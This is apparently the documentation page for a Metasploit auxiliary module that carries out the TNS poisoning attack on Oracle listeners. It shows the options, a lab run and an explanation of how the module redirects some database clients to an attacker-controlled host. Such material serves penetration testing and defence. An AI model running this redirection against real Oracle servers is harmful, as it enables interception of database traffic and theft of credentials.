Module tnspoison

### Introduction

The tnspoison module implements the tnspoison attack (all credit goes to
Joxean Koret). It supports all possible SID length (1-12 characters), but does
not support the Global Database Identifier usage.

### Tested Oracle versions
We have tested the extension against Oracle 11.2.0.3 64bit on Windwows and Linux.

### Usage example
````
msf > use auxiliary/spoof/tns/tnspoison 
msf  auxiliary(tnspoison) > show options 

Module options (auxiliary/spoof/tns/tnspoison):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   DBPASS  changeme         no        The password to authenticate with
   DBUSER  SYS              no        The username to authenticate with, it should be SYSDBA for oradebug
   DHOST                    yes       HOST to redirect to, it should be IP address only
   DPORT   1521             yes       PORT to redirect to, it can be 4 digits only
   RHOST                    yes       The Oracle host
   RPORT   1521             yes       The TNS port
   SID     ORCL             no        The SID to authenticate with

msf  auxiliary(tnspoison) > set RHOST 192.168.56.20
RHOST => 192.168.56.20
msf  auxiliary(tnspoison) > set DHOST 192.168.56.1
DHOST => 192.168.56.1
msf  auxiliary(tnspoison) > exploit

[*] Connect to 192.168.56.20:1521.

[*] Sending register packet with SID ORCL to redirect to 192.168.56.1:1521.

[*] Wait for 10 seconds.
````
The module will register the DHOST and DPORT as a possible oracle instance for
the SID in the listener on the RHOST and on the RPORT. Certain percentage of
the users will be redirected to attacker controlled DHOST and DPORT.

### References

* http://www.joxeankoret.com/download/tnspoison.pdf

* Presented at DerbyCon 2.0: 
     http://www.youtube.com/watch?v=Y1KlVdV9am0


### Authors
Laszlo Toth
Ferenc Spala